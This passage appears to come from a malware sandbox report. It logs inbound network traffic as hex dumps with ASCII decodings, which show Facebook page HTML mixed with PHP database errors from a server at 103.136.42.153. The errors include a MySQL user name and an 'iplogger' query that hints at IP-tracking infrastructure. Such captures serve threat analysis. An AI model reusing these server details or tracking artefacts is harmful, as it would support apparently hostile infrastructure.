30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 Data Ascii: mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20
2022-10-08 09:35:10 UTC	463	IN	Data Raw: 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 Data Ascii: 0removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520
2022-10-08 09:35:10 UTC	464	IN	Data Raw: 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d Data Ascii: 002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='WYWDIG~1'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csm
2022-10-08 09:35:10 UTC	466	IN	Data Raw: 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 Data Ascii: atabase.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%
2022-10-08 09:35:10 UTC	467	IN	Data Raw: 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 Data Ascii: 103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u0
2022-10-08 09:35:10 UTC	469	IN	Data Raw: 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 71 2d 61 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 Data Ascii: <li><a class="_sv4" dir="ltr" href="https://sq-al.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instea
2022-10-08 09:35:10 UTC	470	IN	Data Raw: 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 Data Ascii: om\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520
2022-10-08 09:35:10 UTC	472	IN	Data Raw: 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 Data Ascii: 00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES
2022-10-08 09:35:10 UTC	473	IN	Data Raw: 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c Data Ascii: ne%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20l
2022-10-08 09:35:10 UTC	475	IN	Data Raw: 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f Data Ascii: 520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/
2022-10-08 09:35:10 UTC	476	IN	Data Raw: 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 35 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 53 70 61 6e 69 73 68 22 3e 45 73 70 61 c3 b1 6f 6c 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 72 2d 74 72 2e 66 61 63 65 62 Data Ascii: \u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 5); return false;" title="Spanish">Espaol</a></li><li><a class="_sv4" dir="ltr" href="https://tr-tr.faceb
2022-10-08 09:35:10 UTC	478	IN	Data Raw: 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 74 72 5f 54 52 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 74 72 2d 74 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 Data Ascii: 3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("tr_TR", "en_US", "https:\/\/tr-tr.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u0025
2022-10-08 09:35:10 UTC	479	IN	Data Raw: 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c Data Ascii: b\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\
2022-10-08 09:35:10 UTC	480	IN	Data Raw: 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 Data Ascii: :%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%
2022-10-08 09:35:10 UTC	482	IN	Data Raw: 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e Data Ascii: 0253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520den
2022-10-08 09:35:10 UTC	483	IN	Data Raw: 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c Data Ascii: u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\
2022-10-08 09:35:10 UTC	485	IN	Data Raw: 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 Data Ascii: ssword:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%
2022-10-08 09:35:10 UTC	486	IN	Data Raw: 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 Data Ascii: 0A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemore
2022-10-08 09:35:10 UTC	488	IN	Data Raw: 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 Data Ascii: i%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20&#039
2022-10-08 09:35:10 UTC	489	IN	Data Raw: 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 Data Ascii: ved\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u002
2022-10-08 09:35:10 UTC	491	IN	Data Raw: 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 